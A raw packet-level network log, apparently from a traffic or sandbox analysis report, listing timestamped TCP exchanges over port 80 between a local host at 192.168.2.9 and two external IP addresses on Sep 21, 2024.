Sep 21, 2024 13:33:42.354063988 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.354101896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.354101896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.355762005 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.355777025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.355792046 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.355807066 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.355822086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.355829000 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.355870008 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356070995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356086969 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356131077 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356177092 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356194019 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356208086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356215954 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356225967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356241941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356256962 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356262922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356272936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356287956 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356303930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356303930 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356322050 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356343985 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356343985 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356396914 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356484890 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356499910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356514931 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356523991 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356529951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356545925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356548071 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356563091 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356564045 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356580973 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356583118 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356596947 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356611013 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356612921 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.356664896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.356664896 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357570887 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357588053 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357601881 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357616901 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357620955 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357635021 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357649088 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357651949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357667923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357685089 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357693911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357693911 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357700109 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357716084 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357728004 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357731104 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357748032 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357757092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357764006 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357780933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.357780933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357805967 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.357837915 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359249115 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359266996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359281063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359296083 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359311104 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359354973 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359354973 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359359980 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359378099 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359402895 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359407902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359425068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359432936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359443903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359448910 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359462023 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.359477997 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.359498024 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.361161947 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.361177921 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.361195087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.361207962 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.361253977 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.361254930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362515926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362531900 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362548113 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362564087 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362611055 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362611055 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362670898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362685919 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362770081 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362787008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362790108 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362802029 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362817049 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362832069 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362837076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362848043 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362864017 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.362869978 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362869978 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.362957954 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363167048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363182068 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363197088 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363212109 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363228083 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363243103 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363260031 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363271952 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363277912 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363316059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363316059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363346100 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363522053 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363537073 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363550901 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363565922 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363581896 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363581896 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363605022 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363610983 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363621950 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363629103 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363637924 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363653898 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363655090 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363671064 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363672972 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363687992 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363702059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363703012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363702059 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363718987 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363723993 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363735914 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363744974 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363754034 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.363771915 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363771915 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.363795996 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364327908 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364343882 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364357948 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364372969 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364387989 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364392996 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364403963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364419937 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364419937 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364435911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364451885 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364468098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364469051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364469051 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364484072 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364491940 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364500046 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364509106 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364515066 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364530087 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364535093 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364545107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364557028 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364562035 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364581108 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.364576101 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364595890 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364620924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.364620924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365165949 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365180969 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365197897 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365212917 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365222931 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365228891 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365246058 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365247011 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365259886 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365273952 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365276098 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365291119 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365293980 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365308046 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365314960 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365322113 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365336895 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365346909 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365353107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365370035 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365370989 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365386963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365396023 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365401983 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365417004 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365418911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.365447044 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.365472078 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366158009 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366173029 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366188049 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366200924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366204977 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366219997 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366234064 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366234064 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366236925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366251945 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366261959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366261959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366267920 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366283894 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366287947 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366287947 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366298914 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366312027 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366316080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366328955 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366333008 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366345882 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366348982 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366364002 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366364956 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366383076 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366390944 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366390944 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366398096 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366411924 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366414070 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.366429090 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366461039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.366461039 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367604971 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367620945 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367635012 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367652893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367652893 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367669106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367672920 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367685080 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367698908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367713928 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367713928 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367728949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367733002 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367744923 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367753029 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367763996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367780924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367780924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367793083 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367803097 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367819071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367821932 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367835999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367840052 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367852926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367861032 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367871046 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367871046 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367887974 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367887974 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367903948 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.367914915 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367923021 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.367939949 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368088007 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368103981 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368119001 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368135929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368139029 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368160963 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368169069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368175983 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368185043 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368191004 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368206024 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368213892 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368222952 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368237019 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368241072 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368253946 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368257999 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368268967 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368284941 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368284941 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368302107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368310928 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368318081 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368333101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368340969 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368350029 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.368360996 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.368383884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369400024 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369415998 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369430065 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369446039 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369461060 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369460106 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369476080 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369481087 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369492054 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369508028 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369518995 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369523048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369539022 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369541883 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369554996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369563103 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369571924 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369586945 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369590044 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369602919 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369620085 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369623899 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369637012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.369647980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369661093 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.369931936 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.371412992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.371429920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.371445894 CEST	80	49710	103.130.147.211	192.168.2.9
